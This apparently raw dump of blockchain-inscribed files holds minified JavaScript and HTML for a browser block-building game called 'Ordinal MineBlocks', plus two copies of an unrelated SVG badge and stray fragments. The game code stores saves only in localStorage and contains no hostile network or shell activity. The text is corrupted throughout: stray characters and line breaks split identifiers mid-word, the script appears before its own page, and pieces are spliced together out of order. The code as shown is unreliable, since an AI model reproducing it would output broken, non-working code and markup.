nterLockElement;document[e==d||r==d||n==d?"addEventListener":"removeEventListener"]("mousemove",v)})})}}},function(t,e,r){"use strict";function n(t,e,r){for(var n=window.game,o=n.pixels,i=n.texmap,a=n.width,u=n.hotbar,c=0;16>c;c++)for(var f=0;16>f;f++){var s=i[f+16*(c+16)+256*t*3],l=u.items[t],d=1.328125,v=(255&s>>16)*d,m=(255&s>>8)*d,h=(255&s)*d,p=4*(e+f+(r+c)*a);if(!l){var w=(v+m+h)/6;v=w+v/3,m=w+m/3,h=w+h/3}o.data[p+0]=v,o.data[p+1]=m,o.data[p+2]=h}}function o(t,e,r){var n=window.game.ctx;if(void 0!=t&&t!==1/0){M
var o=999<t?(0|t/1e3)+"k":t;n.font="100 8px OCR A Std,Impact,monospace",n.strokeStyle="black",n.textAlign="right",n.lineWidth=2,n.fillStyle="#fff",n.strokeText(o,e,r),n.fillText(o,e,r)}}var i=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(M
e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),a=r(4),u=a.BLOCKS_MAP,c=a.CRAFTABLES,f=function(){return(window.game.width-180)/2},s=function(){return window.game.height-16-8},l=function(t){var e=0;return Object.entries(c).some(function(r){var n=i(r,2),o=n[0],a=n[1];return i(a||[],1)[0]===t&&(e=o,!0)}),e};t.exports={drawIcons:function(){var t=window.game.hotbar;u[t.side].forEach(function(t,e){n(t,f()+18*e,s())})},drawHotbarBorder:function(){var t=window.game,e=t.ctx,r=t.hotbar,nM
=f()+18*r.selected;e.lineWidth=1,e.strokeStyle="#fff",e.strokeRect(n+1,s()+1,14,14),e.strokeStyle="#000",e.strokeRect(n,s(),16,16)},drawIconNumers:function(){for(var t=window.game.hotbar,e=t.side,r=0;10>r;r++){var n=f()+18*r,i=u[e][r];o(t.items[i],n+16,s()+16)}},inventoryAdd:function(t){var e=window.game.hotbar,r=e.items;r[t]++;var n=c[t];if(n){var o=i(n,2),a=o[0],u=o[1];return void(r[a]=0|r[t]/u)}var f=l(t);if(f){var s=i(c[f],2),d=s[1];r[f]+=d}},inventoryRemove:function(t){var e=window.game.hotbar,r=e.items;r[t]--M
;var n=c[t];if(n){var o=i(n,2),a=o[0],u=o[1];return void(r[a]=0|r[t]/u)}var f=l(t);if(f){var s=i(c[f],2),d=s[1];r[f]-=d}}}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}var o=Math.cos,i=Math.sin,a=r(2),u=n(a),c=r(1),f=n(c),s=r(21),l=n(s),d=r(0),v=0,m=0;(0,f.default)(function(){m=(m+1)%3}),t.exports={render:function(){var t=window.game,e=t.texmap,r=t.width,n=t.height,a=t.player,c=t.CONST,f=(t.fps,t.scanlinesEnabled),s=t.renderDistance,h=o(a.pitch),p=i(a.pitch),w=o(a.yaw),y=i(a.yaw)M
,g=a.x-(0|a.x),M=a.y-(0|a.y),b=a.z-(0|a.z);v=v?0:1;for(var _=0;_<r;_++)for(var x=(0,d.calcArcFromLength)(_,r),A=(_-r/2)/n,S=f?_%2+v-1:0;S<n;S+=f?2:1){for(var k,E=(0,d.calcArcFromLength)(S,n),L=s+(s*x+s*E)/2,T=(S-n/2)/n,C=h+T*p,O=T*h-p,I=A*w+C*y,P=C*w-A*y,j=0,R=255,z=0;3>z;z++){k=I,1==z&&(k=O),2==z&&(k=P);var B=1/Math.abs(k),N=I*B,D=O*B,F=P*B,G=g;1==z&&(G=M),2==z&&(G=b),0<k&&(G=1-G);var q=a.x+N*G,H=a.y+D*G,W=a.z+F*G;0>k&&(z||q--,1==z&&H--,2==z&&W--);for(var X,Z=B*G,J=c.MAP_SIZE-1;Z<L;){if(X=(0,d.getBlock)(q&J,63&H,WM
&J),(W>J||63<H||q>J||0>W||0>H||0>q)&&(X=0),0<X){var K=15&16*(q+W),Y=16+(15&16*H);1==z&&(K=15&16*q,Y=15&16*W,0>D&&(Y+=32));var V=e[K+16*Y+256*X*3];if(0<V){if(j=V,1==z&&(9==X||10==X)){var U=K+Y*(m+1)*16+256*X*3;9==X&&7680>U?j=e[U]:10==X&&8680>U&&(j=e[U])}var Q=u.default.timeModifier(),$=1-Z/s*Q;R=(255-(z+2)%3*50)*$,L=Z}}q+=N,H+=D,W+=F,Z+=B}}(0,l.default)(_,S,R,j)}}}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}var o=r(13),i=n(o),a=r(5),u=n(a),c=r(2),f=r(1),s=n(f),l=r(0),d=r(3),v=n(M
d),m=r(9),h=r(7),p=r(18),w=r(4),y=w.RES,g=y.WIDTH,M=y.HEIGHT,b=0|w.MAP_SIZE/2;document.title="Ordinal MineBlocks",window.game={CONST:w},window.game={CONST:w,width:g,height:M,getTime:c.getTime,setTime:c.setTime,player:{x:b,y:0,z:b,velocity:0,pitch:-.1,yaw:0},hotbar:{selected:0,side:0,items:Array(21).fill(0)},map:h.map(),texmap:h.textures(),ctx:document.getElementById("game").getContext("2d"),fps:0,scanlinesEnabled:!0,renderDistance:32},document.addEventListener("DOMContentLoaded",function(){var t=window,e=t.game,r=eM
.width,n=e.height,o=e.ctx,a=document.getElementById("toolbar"),c=(0,l.getCanvas)();c.width=r,c.height=n;var f=function(){var t=1.3334*window.innerHeight,e=window.innerHeight;.75*window.innerWidth<window.innerHeight&&(t=window.innerWidth,e=.75*window.innerWidth),c.setAttribute("style","width: "+t+"px; height: "+e+"px")};e.pixels=o.createImageData(r,n),e.pixels.data.fill(255),window.addEventListener("resize",f),f(),m.init(),p.clock.init(),setTimeout(u.default.main,500),(0,s.default)(function(){window.game}),a.addEvenM
tListener("click",function(t){var r=t.target.id;"lock"===r?a.classList.toggle("extended"):"save"===r?(0,i.default)():"load"===r?window.location.reload():"plus"===r?e.renderDistance+=5:"minus"===r?e.renderDistance-=5:"interlace"===r?setTimeout(function(){return e.scanlinesEnabled=!e.scanlinesEnabled},1):"newseeed"===r&&confirm("Generate a new seed? This will erase your current save.")&&(w.LOCAL_STORAGE.forEach(function(t){return localStorage.removeItem(t)}),v.default.safeSet("_mcs",0|Math.random()*Number.MAX_SAFE_INM
TEGER),window.location.reload()),5>e.renderDistance?e.renderDistance=5:255<e.renderDistance&&(e.renderDistance=255)})})},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}function o(){for(var t="",e=m(h()),r=m(window.game.map),n=0;n<r.length;n++){var o=e[n],i=r[n];t+=o===i?"-":i}return t}function i(t){for(var e="",r=t[0],n=1,o=1;o<t.length;o++)t[o]===r?n++:(e+=1==n?r:n+r,r=t[o],n=1);return e+=n+r}Object.defineProperty(e,"__esModule",{value:!0}),e.stringify=void 0;var a=r(5),u=r(2),c=r(M
7),f=n(c),s=r(3),l=n(s),d=r(6),v=Array(58).fill(1).map(function(t,e){return String.fromCharCode(65+e)}),m=e.stringify=function(t){return t.map(function(t){return t.map(function(t){return t.map(function(t){return v[t]||v[0]}).join("")}).join("")}).join("")},h=function(){return window.game._map=window.game._map||f.default.map()};e.default=function(){var t=window,e=t.game;l.default.safeSet("_mct",(0,u.getTime)()),l.default.safeSet("_mci",JSON.stringify(e.hotbar.items));var r=o();console.log("saving mapStr length",r.leM
ngth);var n=i(r),c=d.compress(n);console.log("minified",n.length,n),console.log("compressed",c.length,c),l.default.safeSet("_mcm",c);var f=d.decompress(c);(0,a.unMinify)(f)===r?console.log("success"):console.log("Could not save map internally")}},function(t,e,r){"use strict";function n(t,e,r,n){for(var o=e*r%6+6,i=0;i<o;i++)t[e][r-i][n]=7;for(var a=o;0<a;a-=3)for(var u=-1;2>u;u++)for(var f=-1;2>f;f++)c(f+e,r-a,u+n,8,t,7)}var o=Math.floor,i=r(3),a=function(t){return t&&t.__esModule?t:{default:t}}(i),u=r(0),c=u.setBlM
ock,f=r(8),s=r(15),l=a.default.exits(),d=a.default.safeGet("_mcs");l?!d&&(a.default.safeSet("_mcs",0|Math.random()*Number.MAX_SAFE_INTEGER),window.location.reload()):(d=0,document.querySelector(".nosaving").classList.toggle("show"),console.log('no localstorage. Using seed "0". No saving permitted'));var v=s(d),m={1:1,2:1,4:1};t.exports=function(){for(var t=window.game.CONST,e=t.SEA_LEVEL,r=t.MAP_SCALE,i=t.MAP_SIZE,a=f(),u=function(){return Array(i)},c=document.getElementById("loading"),s=u(),l=u(),d=0;d<i;d++){s[d]M
=u(),l[d]=u();for(var h,p=0;p<i;p++){h=v(d/r,p/r,0),h*=10,h+=32,h=o(h),s[d][p]=h;var w=v(d/2,p/2,0);w*=3,w=o(w),l[d][p]=w,window.treeMap=l}}console.log("ran");for(var y=0;y<i;y++)for(var g,M=0;M<i;M++){g=s[y][M],a[y][g][M]=g<=e?1:12;for(var b=g-1;b>e;b--)a[y][b][M]=9;for(var _=g+1;64>_;_++)a[y][_][M]=4;-2>=l[y][M]&&g<e&&n(a,y,g-1,M),34==g&&(a[y][g][M]=13);for(var x=e-5;64>x;x++){if(48<x){var A=v(y/r*4,x/r*2,M/r*4);if(.55<A&&.6>A){var S=a[y][x][M];m[S]&&(a[y][x][M]=10)}}var k=v(y/r*2,x/r*4,M/r*2);if(.35<k&&.8>k){varM
 E=a[y][x][M];m[E]&&(a[y][x][M]=0)}var L=v(y/r*8,x/r*8,M/r*8);if(.2<L&&.8>L){var T=a[y][x][M];m[T]&&(50>x&&.2<L&&.21>L?a[y][x][M]=14:42<x&&50>x&&.55<L&&.6>L?a[y][x][M]=15:48<x&&.7<L&&(a[y][x][M]=16))}if(61<x)if(63==x)a[y][x][M]=11;else{var C=v(y/r*64,x/r*64,M/r*64);.1<C&&(a[y][x][M]=11)}}}return c.hidden=!0,a}},function(t,e,r){"use strict";function n(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function o(t){if(Array.isArray(t)){for(var e=0,r=Array(t.length);e<t.length;e++)r[e]M
=t[e];return r}return Array.from(t)}var i=function(){function t(t,e){for(var r,n=0;n<e.length;n++)r=e[n],r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(t,r.key,r)}return function(e,r,n){return r&&t(e.prototype,r),n&&t(e,n),e}}(),a=r(16),u=function(t){return t&&t.__esModule?t:{default:t}}(a);t.exports=function(){for(var t,e=0<arguments.length&&void 0!==arguments[0]?arguments[0]:1,r=1<arguments.length&&void 0!==arguments[1]?arguments[1]:Array(512),a=-1,c=Math.floor,M
f=[].concat(o(r)),s=function(t){return t*t*t*(t*(6*t-15)+10)},l=function(t,e,r){return(1-r)*t+r*e},d=[[1,1],[a,1],[1,a],[a,a],[1,,1],[a,,1],[1,,a],[a,,a],[,1,1],[,a,1],[,1,a],[,a,a]].map(function(t){return new(Function.prototype.bind.apply(function(){function t(){var e=0<arguments.length&&void 0!==arguments[0]?arguments[0]:0,r=1<arguments.length&&void 0!==arguments[1]?arguments[1]:0,o=2<arguments.length&&void 0!==arguments[2]?arguments[2]:0;n(this,t),this.x=e,this.y=r,this.z=o}return i(t,[{key:"d",value:function(t,M
e,r){return this.x*t+this.y*e+this.z*r}}]),t}(),[null].concat(o(t))))}),v=0;256>v;v++)t=(0,u.default)(e+v,256)^(1&v?255&e:255&e>>8),r[v]=r[v+256]=t,f[v]=f[v+256]=d[t%12];return function(t,e,n){var o=c(t),i=c(e),a=c(n);t-=o,e-=i,n-=a,o&=255,i&=255,a&=255;var u=s(t),d=s(e),v=s(n),m=i+r[a],h=i+r[a+1],p=o+r[m],w=o+r[h],y=o+r[m+1],g=o+r[h+1];return l(l(l(f[p].d(t,e,n),f[p+1].d(t-1,e,n),u),l(f[w].d(t,e,n-1),f[w+1].d(t-1,e,n-1),u),v),l(l(f[y].d(t,e-1,n),f[y+1].d(t-1,e-1,n),u),l(f[g].d(t,e-1,n-1),f[g+1].d(t-1,e-1,n-1),u),vM
),d)}}},function(t,e){"use strict";Object.defineProperty(e,"__esModule",{value:!0}),e.default=function(t,e){return(""+(2147483647&Math.imul(48271,t))/2147483648).split("").slice(-10).join("")%e}},function(t){"use strict";t.exports=function(){for(var t=Array(12288),e=1;21>e;e++)for(var r=255-(0|96*Math.random()),n=0;48>n;n++)!function(n){for(var o=0;16>o;o++)!function(o){var i=9858122,a=r;if(32<=n&&(a/=2),(4!=e&&6!=e||0==(0|3*Math.random()))&&(r=255-(0|96*Math.random())),1==e&&(n<18+(3&o*o*3+81*o>>2)?i=6990400:1==e&M
&n<19+(3&o*o*3+81*o>>2)&&(r=2*r/3)),3==e&&(i=14606046,0<o&&15>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(a=0)),4==e&&(i=8355711),5==e&&(i=11876885,(0==(o+4*(n>>2))%8||0==n%4)&&(i=12365733)),6==e&&(i=10519115,0==(0|16*Math.random())&&(r=255-(0|96*Math.random())),0==n%4&&(a=132)),7==e)if(i=6771249,0<o&&15>o&&(0<n&&15>n||32<n&&47>n)){i=12359778;var u=o-7,c=(15&n)-7;0>u&&(u=1-u),0>c&&(c=1-c),c>u&&(u=c),r=196-(0|32*Math.random())+u%3*32}else 0==(0|2*Math.random())&&(r=r*(140-100*(1&o))/100);8==e&&(i=5298487,0==(0|2*Math.rM
andom())&&(i=0,a=255)),9==e&&(i=4219135,a=192+(0|32*Math.random())),10==e&&(i=15810114,a=192+(0|32*Math.random()),0==(0|2*Math.random())&&(i=15834690)),11==e&&(i=4392035,0==(0|2*Math.random())&&(i=2294851)),12==e&&(i=15196080,1>16*Math.random()&&(a=164+4*o)),13==e&&(i=15200224,1>16*Math.random()&&(i=16232346));var f=function(t){2<o&&13>o&&(2<n&&13>n||18<n&&29>n)&&1>4*Math.random()&&(i=t)};14==e&&(i=8355711,f(15810114)),15==e&&(i=8355711,f(15778600)),16==e&&(i=8355711,f(4517357)),17==e&&(i=13704738,1>16*Math.random(M
)&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=15810114),r=255)),18==e&&(i=13673224,1>16*Math.random()&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=15778600),r=255)),19==e&&(i=3386283,1>16*Math.random()&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=4517357),r=255)),20==e&&(i=8355711,1<=(0|4*Math.random())&&(Math.random(),i=5277975));var s=(255&i>>16)*a/255<<16|(255&i>>8)*a/255<<8|(255&i)*a/255;t[o+16*n+256*e*3]=s}(o)}(n);return t}},funcM
tion(t,e,r){"use strict";var n=r(19),o=r(11);t.exports={clock:n,render:o}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}function o(){var t=window.game,e=t.ctx,r=t.pixels;window._tick+=1,d.applyGravity(),d.calculateMovement(),m(),f.default.drawIcons(),e.putImageData(r,0,0),f.default.drawHotbarBorder(),f.default.drawIconNumers(),(0,l.default)()}function i(t){var e=window.game.CONST.MAX_FPS;return t-h<1e3/e?window.requestAnimationFrame(i):(o(),h=t,void window.requestAnimationFrame(i)M
)}var a=r(1),u=n(a),c=r(10),f=n(c),s=r(20),l=n(s),d=r(9),v=r(11),m=v.render,h=0;t.exports={init:function(){window._tick=0;var t=document.querySelector(".fps");(0,u.default)(function(){var e=window._tick;window.game.fps=e,t&&(t.innerText=e.toString()+" fps"),window._tick=0}),window.requestAnimationFrame?window.requestAnimationFrame(i):setInterval(o,10)}}},function(t,e,r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n,o,i,a=r(1),u=function(t){return t&&t.__esModule?t:{default:t}}(a);e.default=funM
ction(){var t=window.game,e=t.ctx,r=t.width,a=t.height;e.lineWidth=1,e.strokeStyle="#fff",e.strokeStyle="rgb("+n+","+o+","+i+")",e.strokeRect(r/2-1,a/2-1,2,2)},(0,u.default)(function(){var t=window.game,e=t.pixels,r=t.width,a=t.height,u=4*(r/2+(a/2-5)*r);n=255&e.data[u+0]+128,o=255&e.data[u+1]+128,i=255&e.data[u+2]+128})},function(t,e,r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.M
push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),o=r(2),i=function(t){return t&&t.__esModule?t:{default:t}}(o),a=r(0);e.default=function(t,e,r,o){var u=window.game,c=u.pixels,f=u.width,s=i.default.color,l=(0,a.isInsideCheck)(),d=i.default.timeModifier(),v=s(),m=n(v,3)L
,h=m[0],p=m[1],w=m[2],y=255*r/48960;l||(y*=1-d/2);var g=(255&o>>16)*y,M=(255&o>>8)*y,b=(255&o)*y,_=4*(t+e*f);c.data[_+0]=g||h,c.data[_+1]=M||p,c.data[_+2]=b||w}}]);
</script></body></html>
59.37.100 libvpx-vp9g
<svg xmlns="http://www.w3.org/2000/svg" xml:space="preserve" style="background:#b0752b;font-family:monospace" viewBox="0 0 1080 1920"><style>svg{animation:a ease-in-out
9s infinite}@keyframes a{from{transform:translateY(0%)}50%{transform:translateY(1%)}to{transform:translateY(0%)}}path,g{transform-origin:50%}@media(min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g g{transform:translate(15%,7%)scale(1.55)}}</style><g><path d="M942 1752V274l-30-101c-4-12-13-33-39-33H207c-25 0-35 22-38 33l-30 101v1483c0 M
18 19 22 42 22h718c30 0 43-12 43-27" fill="#b0752b"/><path d="M912 173v1370c0 28 2 57 7 85l23 124V274l-30-101zm-49 1385H221c-21 0-39 15-42 35l-26 151c-4 21 16 35 33 35h709c17 0 37-17 34-35l-27-153c-3-20-20-33-39-33zm-724 194 23-124c5-28 7-57 7-85V173l-30 101v1478zM873 140H208c-16 0-28 12-28 27v1348c0 17 14 31 31 31h659c17 0 31-14 31-31V167c0-15-13-27-28-27z" fill="#fed65c"/><g><text x="50%" y="49%" text-anchor="middle" style="fill:#b0752b;font-size:256px;pointer-events:none">1kB</text></g></g></svg>h!
<svg xmlns="http://www.w3.org/2000/svg" xml:space="preserve" style="background:#b0752b;font-family:monospace" viewBox="0 0 1080 1920"><style>svg{animation:a ease-in-out
9s infinite}@keyframes a{from{transform:translateY(0%)}50%{transform:translateY(1%)}to{transform:translateY(0%)}}path,g{transform-origin:50%}@media(min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g g{transform:translate(15%,7%)scale(1.55)}}</style><g><path d="M942 1752V274l-30-101c-4-12-13-33-39-33H207c-25 0-35 22-38 33l-30 101v1483c0 M
18 19 22 42 22h718c30 0 43-12 43-27" fill="#b0752b"/><path d="M912 173v1370c0 28 2 57 7 85l23 124V274l-30-101zm-49 1385H221c-21 0-39 15-42 35l-26 151c-4 21 16 35 33 35h709c17 0 37-17 34-35l-27-153c-3-20-20-33-39-33zm-724 194 23-124c5-28 7-57 7-85V173l-30 101v1478zM873 140H208c-16 0-28 12-28 27v1348c0 17 14 31 31 31h659c17 0 31-14 31-31V167c0-15-13-27-28-27z" fill="#fed65c"/><g><text x="50%" y="49%" text-anchor="middle" style="fill:#b0752b;font-size:256px;pointer-events:none">1kB</text></g></g></svg>h!
text/html;charset=utf-8
<!DOCTYPE html><html><head><style>
body{background:#DDDDDD}
canvas{image-rendering:pixelated;box-sizing:border-box}
body{text-align:center}
button{border-radius:4px}
.fixed{position:fixed;top:4px}
.fps{right:4px;font-family:Impact,Charcoal,sans-serif;color:white;-webkit-text-stroke:1px black;font-variant:small-caps;font-size:20px}
.hidables,.nosaving{display:none}
#lock,#save{background:none;background:#ffffff4d}
  line-height: 100vh;
  font-family: sans-serif
.extended #lock:after{background:#ffffff;content:" Options"}
.extended #save:after{background: #ffffff;content:" Save"}
.extended .hidables,.show{display:initial}
.text{color:#777;text-align:left;padding-left:20px;margin-bottom:80px}.text div{display:inline-block;width:48%}
.text:hover{color:#000}
/* Reset CSS */html{line-height:1.15;-webkit-text-size-adjust:100%}body{margin:0}main,details{display:block}h1{font-size:2em;margin:.67em 0}hr{box-M
sizing:content-box;height:0;overflow:visible}pre{font:1em monospace,monospace}a{background-color:transparent}abbr[title]{border-bottom:none;text-decoration:underline;text-decoration:underline dotted}b,strong{font-weight:bolder}code,kbd,samp{font:1em monospace,monospace}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}img{border-style:none}button,input,optgroup,select,textarea{margin:0;font:100%/1.15 inherit}button,input{overflow:visiblM
e}button,select{text-transform:none}button,[type="button"],[type="reset"],[type="submit"]{-webkit-appearance:button}button::-moz-focus-inner,[type="button"]::-moz-focus-inner,[type="reset"]::-moz-focus-inner,[type="submit"]::-moz-focus-inner{border-style:none;padding:0}button:-moz-focusring,[type="button"]:-moz-focusring,[type="reset"]:-moz-focusring,[type="submit"]:-moz-focusring{outline:1px dotted ButtonText}fieldset{padding:.35em .75em .625em}legend{box-sizing:border-box;color:inherit;display:table;max-width:100M
%;padding:0;white-space:normal}progress{vertical-align:baseline}textarea{overflow:auto}[type="checkbox"],[type="radio"]{box-sizing:border-box;padding:0}[type="number"]::-webkit-inner-spin-button,[type="number"]::-webkit-outer-spin-button{height:auto}[type="search"]{-webkit-appearance:textfield;outline-offset:-2px}[type="search"]::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{-webkit-appearance:button;font:;font-style:normal;font-variant:normal;font-weight:normal;font-family:inherit}M
summary{display:list-item}[hidden],template{display:none}
  <div id=toolbar class=fixed>
    <button id=lock>
    <button id=save>
    <span class=hidables>
      <button id=load>
      <button id=newseeed>
      <span> | </span>
      <button id=minus>
      <button id=plus>
      <button id=interlace>
  <div class="fixed fps">0</div>
=loading>Click Content to play @OrdMineBlocks</h1>
  <canvas id=game></canvas>
  <div class=center>
    <h1>Ordinal MineBlocks</h1>
    <p>Bringing Blocks on the Blockchain, On-Chain, Forever.</p>
      <h2>Join Us:</h2>
      <p>- Twitter: https://twitter.com/OrdMineBlocks </p>
      <p>- Discord: https://discord.gg/dAqfzKQDBj </p>
    <div class=center>
      <h2>Controls:</h2>
      <p>- <b>[wasd]</b> to move</p>
      <p>- <b>[e]</b> to toggle craftable items</p>
      <p>- <b>[spacebar]</b> to jumM
      <p>- Hold <b>[shift]</b> to take/build on liquids</p>
      <p>- <b>[left click]</b> to break a block</p>
      <p>- <b>[right click]</b> to build a block</p>
      <p>- <b>[number keys]</b> to change selected items</p>
<script type="text/javascript">
  !function(t){function e(n){if(r[n])return r[n].exports;var o=r[n]={i:n,l:!1,exports:{}};return t[n].call(o.exports,o,o.exports,e),o.l=!0,o.exports}var r={};e.m=t,e.c=r,e.d=function(t,r,n){e.o(t,r)||Object.defineProperty(t,r,{configurM
able:!1,enumerable:!0,get:n})},e.n=function(t){var r=t&&t.__esModule?function(){return t.default}:function(){return t};return e.d(r,"a",r),r},e.o=function(t,e){return Object.prototype.hasOwnProperty.call(t,e)},e.p="",e(e.s=12)}([function(t,e,r){"use strict";function n(t,e,r){try{return window.game.map[0|t][0|e][0|r]}catch(e){}}var o=r(1),i=function(t){return t&&t.__esModule?t:{default:t}}(o),a=!1,u=!1,c=!1,f=document.querySelector("#game");(0,i.default)(function(){u=!1}),t.exports={dlog:function(){c||(c=!0,console.M
log.apply(this,arguments),setTimeout(function(){return c=!1},500))},drawAllTextures:function(){for(var t=window.game,e=t.pixels,r=t.texmap,n=t.width,o=0;21>o;o++)for(var i=0;i<48;i++)for(var a=0;16>a;a++){var u=r[a+16*i+256*o*3],c=1.328125,f=16*o,s=f+a,l=n*i;16<o&&(s-=272,l=n*(i+48));var d=4*(s+l);e.data[d+0]=(255&u>>16)*c,e.data[d+1]=(255&u>>8)*c,e.data[d+2]=(255&u)*c}},getBlock:n,setBlock:function(t,e,r,n,o,i){if(o=o||window.game.map,!(255<t||255<e||255<r))try{o[t][e][r]!==i&&(o[t][e][r]=n)}catch(e){}},isInsideChM
eck:function(){if(u)return a;u=!0;for(var t,e=window.game.player,r=e.x,o=e.y,i=e.z,c=o;0<c;c--)if(0!==(t=n(r,c,i))&&8!==t)return a=!0;return a=!1},calcArcFromLength:function(t,e){var r=e/2;return(r-Math.abs(t-r))/r},tryCatch:function(t){var e=null;try{e=t()}catch(t){e=null}return e},getCanvas:function(){return f}}},function(t,e){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var r=[];setInterval(function(){r.forEach(function(t){return t()})},1e3),e.default=function(t){r.push(t)}},function(t,e,r){"useM
 strict";function n(){return Math.abs(c)/255}function o(){var t=f[0],e=f[1],r=f[2],o=s[0],i=s[1],a=s[2],u=n(),c=[t*(1-u),e*(1-u),r*(1-u)],l=[o*u,i*u,a*u];return[c[0]+l[0],c[1]+l[1],c[2]+l[2]]}Object.defineProperty(e,"__esModule",{value:!0}),e.time=void 0;var i=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){iM
f(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),a=r(1),u=function(t){return t&&t.__esModule?t:{default:t}}(a),c=e.time=0,f=[154,218,255],s=[200,25,75];(0,u.default)(function(){e.time=c+=.5,255<c&&(e.time=c=-255)}),t.exports={color:function(){var t=o(),e=i(t,3),r=e[0],a=e[1],u=e[2],c=1-n();return[r*c,a*c,u*c]},timeModifier:n,setTime:function(t){e.time=c=parseFloat(t)},getTime:function(){return c}}},function(t,e,M
r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n=r(0),o=function(t){return t&&t.__esModule?t:{default:t}}(n);e.default={safeGet:function(t){return o.default.tryCatch(function(){return localStorage.getItem(t)})||""},safeSet:function(t,e){return o.default.tryCatch(function(){return localStorage.setItem(t,e)})||""},exits:function(){try{return localStorage.getItem(null),!0}catch(t){return!1}}}},function(t){"use strict";t.exports={RES:{WIDTH:320,HEIGHT:240},MAP_SIZE:256,MAX_FPS:60,SEA_LEVEL:30,MAP_M
SCALE:31,JMP:{STR:.4,AMP:.001},BLOCKS_MAP:[[2,4,12,7,9,11,13,14,15,16],[1,20,3,6,10,8,5,17,18,19]],CRAFTABLES:{2:[1,1],4:[20,6],7:[6,.25],9:[10,8],11:[8,.5],12:[3,4],13:[5,2],14:[17,9],15:[18,9],16:[19,9]},LOCAL_STORAGE:["_mcm","_mcs","_mct","_mci"]}},function(t,e,r){"use strict";function n(t){for(var e=0;e<t.length;e++){var r=e%256,n=0|e/256%64,o=0|e/256/64;if("-"!==t[e]){var i=l.indexOf(t[e]);-1!==i&&(window.game.map[o][n][r]=i)}}}function o(t,e){for(var r="",n=0;n<e;n++)r+=t;return r}function i(t){for(var e,r=""M
,n="",i=0;i<t.length;i++)e=/\d/.test(t[i]),e?n+=t[i]:n?(r+=o(t[i],parseInt(n,10)),n=""):r+=t[i];return r}var a=r(0),u=r(2),c=r(3),f=function(t){return t&&t.__esModule?t:{default:t}}(c),s=r(6),l=Array(58).fill(1).map(function(t,e){return String.fromCharCode(65+e)});t.exports={main:function(){var t=window,e=t.game,r=f.default.safeGet("_mct"),o=(0,a.tryCatch)(function(){return JSON.parse(f.default.safeGet("_mci"))});o&&(e.hotbar.items=o.map(function(t){return null===t?1/0:t})),r&&(0,u.setTime)(r);var c=f.default.safeGM
et("_mcm");c&&n(i(s.decompress(c)))},unMinify:i}},function(t){"use strict";var e=String.fromCharCode,r=32768,n=Object.prototype.hasOwnProperty,o=Math.pow,i=function(t){return t.charCodeAt(0)};t.exports={compress:function(t){if(null==t)return"";var r,a,u,c=function(t){return e(t)},f={},s={},l="",d="",v="",m=2,h=3,p=2,w=[],y=0,g=0;for(u=0;u<t.length;u+=1)if(l=t.charAt(u),n.call(f,l)||(f[l]=h++,s[l]=!0),d=v+l,n.call(f,d))v=d;else{if(n.call(s,v)){if(256>i(v)){for(r=0;r<p;r++)y<<=1,15==g?(g=0,w.push(c(y)),y=0):g++;for(aM
=i(v),r=0;8>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}else{for(a=1,r=0;r<p;r++)y=y<<1|a,15==g?(g=0,w.push(c(y)),y=0):g++,a=0;for(a=i(v),r=0;16>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}m--,0==m&&(m=o(2,p),p++),delete s[v]}else for(a=f[v],r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;m--,0==m&&(m=o(2,p),p++),f[d]=h++,v=l+""}if(""!==v){if(n.call(s,v)){if(256>i(v)){for(r=0;r<p;r++)y<<=1,15==g?(g=0,w.push(c(y)),y=0):g++;for(a=i(v),r=0;8>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)M
